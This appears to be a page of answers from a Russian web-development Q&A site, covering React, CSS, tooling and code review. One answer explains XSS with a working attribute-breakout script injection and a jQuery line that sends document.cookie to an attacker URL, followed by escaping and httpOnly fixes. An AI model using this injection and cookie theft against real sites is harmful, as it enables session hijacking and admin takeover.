• Как отрендерить компоненту react только после ajax запроса, который обновит store?

    rockon404
    @rockon404 Куратор тега React
    Frontend Developer
    render() {
      const { someStateKey } = this.props;  
    
      if (!someStateKey) return null;
    
      return (
        {/* component JSX code */}
      );
    }
    Ответ написан
    2 комментария
  • Как сверстать "кропалку"?

    profesor08
    @profesor08 Куратор тега CSS
    Выше пример, открой инструменты разработчика и разбери по кусочкам, что и как там. Там одна фоновая картинка, вторая внутри рамки, фоновая затеняется, в рамке нет. Так достигается эффект. При перемещении рамки, внутри перемещается картинка в обратном направлении, тем самым она остается неподвижной.
    Ответ написан
    Комментировать
  • Что должен из HTML (4 + 5) знать профессионал Front-End-а?

    myjcom
    @myjcom
    знать профессионал

    Если не знаете английский начните с него, если знаете, то непонятно где Вы ищите. (в китайском интернете?)
    Все доступно (но это только верхушка айсберга)
    CSS: The Definitive Guide, 4th Edition
    Author: Eric A. Meyer, Estelle Weyl
    ISBN-10: 1449393195
    Year: 2017 Pages: 1090
    Language: English

    CSS Pocket Reference, 5th Edition
    Author: Eric A. Meyer
    ISBN-10: 978-1492033394
    Year: 2018
    Pages: 208
    Language: English

    CSS in Depth
    Author: Keith J. Grant
    ISBN-10: 1617293458
    Year: 2018
    Pages: 472
    Language: English

    CSS Refactoring
    Author: Steve Lindstrom
    ISBN-10: 1491906421
    Year: 2016
    Pages: 160

    New Perspectives HTML5 and CSS3, 7th Edition
    Author: Patrick M. Carey
    ISBN-10: 1305503937
    Year: 2017 Pages: 872
    Language: English

    Responsive Web Design by Example
    Author: Frahaan Hussain
    ISBN-10: 1787287068
    Year: 2018 Pages: 292
    Language: English

    Pro HTML5 with CSS, JavaScript, and Multimedia
    Author: Mark J. Collins
    ISBN-10: 1484224620
    Year: 2017
    Pages: 560

    HTML5 and JavaScript Projects, 2nd Edition
    Author: Jeanine Meyer
    ISBN-10: 148423863X
    Year: 2018
    Pages: 425
    Language: English

    Web Design with HTML5 & CSS3: Comprehensive, Eighth Edition
    Год издания: 2017
    Автор: Minnick J.
    Издательство: Cengage Learning
    ISBN: 978-1305578166
    Серия: Shelly Cashman Series
    Язык: Английский
    Ответ написан
    Комментировать
  • Что должен из HTML (4 + 5) знать профессионал Front-End-а?

    sergey-gornostaev
    @sergey-gornostaev
    Седой и строгий
    Хахаха! Если вы хотите связать свою жизнь с ИТ, то готовьтесь к тому, что нужно будет в месяц по 500-1000 страниц техдокументации осваивать.
    Ответ написан
    7 комментариев
  • Что нужно иметь и знать в фреймворке React джуну?

    rockon404
    @rockon404 Куратор тега React
    Frontend Developer
    Хороший кандидат на должность Junior React Developer, по моему мнению, должен соответствовать следующему перечню требований:
    1. Хорошее знание JavaScript. В React разработке используется ES6 и большинство экспериментальных фич еще не вошедших в стандарт.
    2. Хорошее знание HTML и CSS. Кроссбраузерная верстка. Так же, хорошо иметь представление о том, что такое css-in-js.
    3. Web APIs. Умение работать с объектной моделью документа(DOM) и все эти XMLHttpRequest, localstorage, cookie, history и прочее.
    4. Хорошее знание API React. Вы должны хорошо знать React, знать его возможности, понимать основные концепции и уметь ответить на большинство типовых вопросов. Для этого достаточно хорошо изучить документацию, разобрать пару типовых проектов на github и попрактиковаться. Много полезной информации, приёмов и идей можно подчерпнуть из тематических статей и докладов. Так же, на просторах интернета можно найти подборки типовых вопросов, часто задаваемых на собеседованиях. В англоязычном сегменте их больше.
    5. Redux. Уверенное знание API. API библиотеки до боли пост. Знать, что такое промежуточное ПО и зачем оно. Понимать базовые концепции архитектуры Flux. Все это есть в документации и многочисленных курсах.
    6. Умение работать с менеджером пакетов npm на базовом уровне.
    7. Node.js. Хотя бы уметь написать простейший express/koa сервер, который будет отдавать ваше приложение и статику.
    8. Webpack. Базовые знания.
    9. Умение работать с git. Хотя бы знать и уметь примерять команды: init, clone, add, commit, push, pull, merge, checkout.
    10. Иммутабельность. Четкое понимание зачем это надо. Знание приемов иммутабельного изменения структур данных. Это есть в официальном туториале React.
    11. Статическая типизация TypeScrpt/Flow. Для начала хватит самых основ и способности понимать чужой код.
    12. Функциональное программирование. Хватит знаний полученных в процессе изучения JavaScript, а так же не помешает знать, что такое каррирование, чистые функции и рекурсия.
    13. Базовые концепции ООП. Хватит знаний полученных в рамках изучения JavaScript.
    14. Асинхронный код. Понимать как его правильно организовывать. Promise, async/await.
    15. Сетевые протоколы передачи данных. Вполне хватит базовых знаний о http/https, о том, что такое заголовки и какие они бывают. Хорошо знать о том, что такое websocket.
    16. За плечами должен быть хотя бы один учебный проект на React. Хватит типового тестового задания.
    Примеры таких заданий: 1, 2, 3(сайт может быть не доступен на территории РФ, советую отрыть через VPN и посмотреть), 4, 5. Если подобного проекта у вас нет, то будьте готовы, что потенциальный работодатель предложит вам выполнить тестовое задание и только по его результату вас, может быть, пригласят на техническое интервью. Если напишите хорошо, вас скорей всего пригласят.
    17. Желателен опыт создания типовых UI элементов. Например, чтобы не вызывало трудностей написать простой кастомный чекбокс. Куча примеров реализаций типовых элементов есть на codepen.

    Это не красный минимум знаний и во многих компаниях требования могут быть значительно ниже. Но соответствие вышеперечисленым пунктам будет хорошим аргументом для работодателя остановить свой выбор именно на вашей кандидатуре.

    Похожий вопрос.
    Ответ написан
    18 комментариев
  • Как сверстать такой элемент?

    sfi0zy
    @sfi0zy Куратор тега CSS
    Creative frontend developer
    Две больших картинки с object-fit: cover. Одна - нормальная, вторая - только голова и лапа слона, а вокруг нее прозрачное ничего. Голова в центре, при адаптивном изменении пропорций всего этого она никуда не уедет. Картинки одинакового размера. Дальше три слоя с абсолютным позиционированием - нормальная картинка, слой с текстом и картинка с головой. Текст - в виде встроенной SVG, там на него можно будет кроссбраузерно наложить любые градиенты.
    Ответ написан
    1 комментарий
  • Чем пользуются верстальщики?

    Hando
    @Hando
    Верстак
    Я использую PHPStorm - там большинство, что нужно есть по умолчанию из коробки.
    Автосейв изменений, emmet, git итд. Удобные инструменты для рефакторинга, гибкая кастомизация.
    В том числе и тестовый сервер. Хотя я предпочитаю Опенсервер, а обновление кода на лету осуществляю с помощью Gulp. После PHPStorm возвращаться на сублайм не хочется, но до этого надо дорасти, если преимущества PHPStorma вам не очевидны - значит пока не надо, у меня так было.
    Ответ написан
    9 комментариев
  • Это вообще люди делают?

    dimovich85
    @dimovich85 Куратор тега CSS
    https://u-academy.net/
    Поделюсь с вами вот такой ссылкой:
    https://www.youtube.com/playlist?list=PLswdBLT9llb...
    Ответ написан
    1 комментарий
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Это вообще люди делают?

    Taraflex
    @Taraflex
    Ищу работу. Контакты в профиле.
    Люди и стадион сделаны с софте подобном Autodesk 123D
    Машинка за исключением экрана с wareframe рендером тоже (на экране с wareframe просто замоделена).
    Часть задников сделана текстурой на скайбоксе.
    Часть людей - плоскими спрайтами с текстурой.
    Переходы - горизонтальным размытием с рандомизированной силой в зависимости от y координаты.
    Глобусов таких кучу можно найти на https://threejs.org/

    В целом выглядит стильно, но это больше заслуга дизайнеров. В технологическом плане ничего революционного. Глобус так вообще жуть тормозит - можно было и оптимальнее сделать.
    Ответ написан
    3 комментария
  • Разработчик, не пишущий в опенсорс - плохой разработчик?

    @Ambrosian
    Разработчик, который никогда не читал opensource - это странно.
    А вот тот, который никогда не писал .... большинство людей всего лишь потребители.
    Ответ написан
    Комментировать
  • Почему document.getEelementById возвращает null в react?

    alexey-m-ukolov
    @alexey-m-ukolov Куратор тега React
    Потому что в тот момент, когда вы вызваете этот метод внутри реакта, ваш компонент ещё не примонтирован или не отрендерен. Реакт не ломает специально стандартные методы, чтобы вам было сложнее работать. Покажите свой код и мы сможем вам объяснить что именно вы делаете неправильно.
    Ответ написан
    6 комментариев
  • Как создать ядро форума и начать продвигать его с нуля?

    dimonchik2013
    @dimonchik2013
    non progredi est regredi
    кириллица будет помехой

    стройте на СЕО - нужна куча тем по тематическим запросам + н есколько экспертов, которые будут общаться
    Ответ написан
    Комментировать
  • Как позволить набирать input только числа и "+"?

    0xD34F
    @0xD34F Куратор тега JavaScript
    Замените текущее регулярное выражение на /[^+\d]/g.

    Ну а вообще, как я понял, вы хотите реализовать ввод телефона. Рекомендую посмотреть в сторону таких вещей как inputmask, например.
    Ответ написан
    Комментировать
  • Почему наши топ веб-студии не считают Wordpress серьезной CMS, а американские топовые студии делают на нем 50% сайтов?

    link_web
    @link_web
    Magento, Laravel, Zend, Shopify, Prestashop, WP
    Я работаю в компании которая находится в США и это правда - 90% сайтов у нас на вп, только интернет-магазины мы делаем на magento. Проект менеджеры аргументируют это тем , что вордпресс для нас очень хорош своим комьюнити ( почти на любую задачу найдёшь плагин ) , простота администрирования для клиентов , не нуждается в мощных серверах , и самое главное , что наши фронтэндеры когда берут проект , то сразу начинают верстку на skilleton тему вордпресса, а для компании важно не делать двойную работу !
    Ответ написан
    4 комментария
  • Хороший пример структурированного CSS файла?

    delphinpro
    @delphinpro Куратор тега CSS
    frontend developer
    Вот реальный файл
    /*!
     * Main styles
     *
     * @author     delphinpro <delphinpro@gmail.com>
     * @copyright  copyright © 2018 delphinpro
     * @license    licensed under the MIT license
     */
    //==
    //== Config & mixins
    //== ======================================= ==//
    $DEV_MODE: true;
    @import "vrhythm.cfg.scss";
    @import "grid.cfg.scss";
    @import "../../node_modules/bs-grid-system/source/scss/bs-grid";
    @import "../../node_modules/vrhythm/source/mixins/rhythm";
    @import "main.cfg.scss";
    @import "mixins.scss";
    @import "../../node_modules/tiny-slider/src/tiny-slider";
    //==
    //== Global styles
    //== ======================================= ==//
    @import "webfonts.scss";
    @import "vendor/normalize";
    @import "base/global.scss";
    @import "base/grid-system.scss";
    @import "base/page.scss";
    @import "base/site.scss";
    @import "base/table.scss";
    @import "base/input.scss";
    @import "base/uploadbox.scss";
    @import "base/buttons.scss";
    @import "base/checkbox.scss";
    @import "base/radio.scss";
    @import "base/radio-button.scss";
    @import "base/radio-panel.scss";
    @import "base/controls-group.scss";
    @import "base/form-field.scss";
    @import "base/auto-height.scss";
    @import "base/transitions.scss";
    //==
    //== Blocks
    //== ======================================= ==//
    @import "blocks/availability.scss";
    @import "blocks/availability-details.scss";
    @import "blocks/back-link.scss";
    @import "blocks/benefit-block.scss";
    @import "blocks/block-heading.scss";
    @import "blocks/breadcrumb.scss";
    @import "blocks/btn-close.scss";
    @import "blocks/callback-link.scss";
    @import "blocks/checked-list.scss";
    @import "blocks/ci.scss";
    @import "blocks/clear-link.scss";
    @import "blocks/document-list.scss";
    @import "blocks/download-link.scss";
    @import "blocks/email-link.scss";
    @import "blocks/entry-item.scss";
    @import "blocks/expert-consult.scss";
    @import "blocks/goods-attributes.scss";
    @import "blocks/heading.scss";
    @import "blocks/icons.scss";
    @import "blocks/info-text.scss";
    @import "blocks/logo.scss";
    @import "blocks/paginate.scss";
    @import "blocks/phone-link.scss";
    @import "blocks/phone-with-icon.scss";
    @import "blocks/phone.scss";
    @import "blocks/popular-links.scss";
    @import "blocks/price.scss";
    @import "blocks/print-link.scss";
    @import "blocks/section.scss";
    @import "blocks/service-description.scss";
    @import "blocks/services.scss";
    @import "blocks/share-block.scss";
    @import "blocks/show-all.scss";
    @import "blocks/smenu-box.scss";
    @import "blocks/smenu.scss";
    @import "blocks/tags.scss";
    @import "blocks/unordered-list.scss";
    @import "blocks/worktime.scss";
    @import "blocks/zoom.scss";
    //==
    //== Blocks
    //== ======================================= ==//
    @import "blocks/about-us-section.scss";
    @import "blocks/article-section.scss";
    @import "blocks/benefits.scss";
    @import "blocks/carousel.scss";
    @import "blocks/cart.scss";
    @import "blocks/delivery-map.scss";
    @import "blocks/delivery-partners.scss";
    @import "blocks/delivery.scss";
    @import "blocks/footer.scss";
    @import "blocks/header.scss";
    @import "blocks/help-me.scss";
    @import "blocks/load-more.scss";
    @import "blocks/nav-catalog.scss";
    @import "blocks/nav.scss";
    @import "blocks/navbar.scss";
    @import "blocks/news-section.scss";
    @import "blocks/panel.scss";
    @import "blocks/params-panel.scss";
    @import "blocks/payment-block.scss";
    @import "blocks/search.scss";
    @import "blocks/catalog-table.scss";
    @import "blocks/catalog-grid.scss";
    @import "blocks/time-range.scss";
    //==
    //== Components
    //== ======================================= ==//
    @import "components/spin.scss";
    @import "components/selector.scss";
    @import "components/tabs.scss";
    @import "components/hamburger.scss";
    @import "components/fixed-bar.scss";
    @import "components/step-indicator.scss";
    @import "components/complete-screen.scss";
    @import "components/ordering.scss";
    @import "components/order-complete.scss";
    @import "components/summary.scss";
    @import "components/goods.scss";
    @import "components/basket-contains.scss";
    @import "components/basket-goods.scss";
    @import "components/basket.scss";
    @import "components/icon-complete.scss";
    @import "components/big-order-form.scss";
    @import "components/feedback-form.scss";
    @import "components/modal.scss";
    @import "components/vue-scrollbar.scss";
    @import "components/mobile-menu.scss";
    @import "components/gallery.scss";
    //==
    //== Page specific classes
    //== ======================================= ==//
    @import "pages/home.scss";
    @import "pages/articles.scss";
    @import "pages/catalog.scss";
    @import "pages/product.scss";
    @import "pages/terms.scss";
    @import "pages/services.scss";
    @import "pages/news.scss";
    @import "pages/feedback.scss";
    @import "pages/page404.scss";
    //==
    //== Helpers & other classes
    //== ======================================= ==//
    @import "base/helpers.scss";
    @import "base/printer.scss";
    Ответ написан
    5 комментариев
  • Как сверстать этот элемент?

    profesor08
    @profesor08 Куратор тега CSS
    Слева селект (или любой выпадающий список), посредине инпут, справа кнопка. Задай им фон и правильный бордер. Расположить в ряд можешь задав контейнеру display:flex.
    .etot-element {
      display: flex;
    }

    <div class="etot-element">
      <select>
        <option>Browse</option>
        <option>Blabla</option>
      </select>
      <input type="text" placeholder="Search for Item...">
      <button><div class="search-icon"></div></button>
    </div>
    Ответ написан
    5 комментариев
  • Почему зависает Node.js?

    0xD34F
    @0xD34F
    Подозрительный кусок кода:

    app.use(function(req, res, next) {
      req.session.number =req.session.number + 1 || 1;
    })

    Где-то тут должен быть вызов next, разве нет?
    Ответ написан
    1 комментарий
  • Оцените качество кода?

    rockon404
    @rockon404
    Frontend Developer
    1. А теперь главный вопрос. Зачем было в модуле ES6 реализовывать module pattern? В этом нет абсолютно никакого смысла. Практика практикой, но все же.

    2. В наличии переменной posts так же нет никакого практического смысла.
    const { data } = await HTTP.get('posts');
    3. Функцию:
    async function _getPostById(id) {
        const post = await HTTP.get(`posts/${id}`)
        return post
      }


    Можно смело заменить на:
    const  _getPostById = id => HTTP.get(`posts/${id}`);

    То же можно сделать и с функцией _getPosts.
    4. Где-то let, где-то var, где-то const. Никакой логики в предпочтении одного ключевого слова другому при этом нет. Почитайте современные гайдлайны airbnb, например.
    5. Точки с запятой где-то есть где-то нет. Читать такой код неприятно.
    Ответ написан
    Комментировать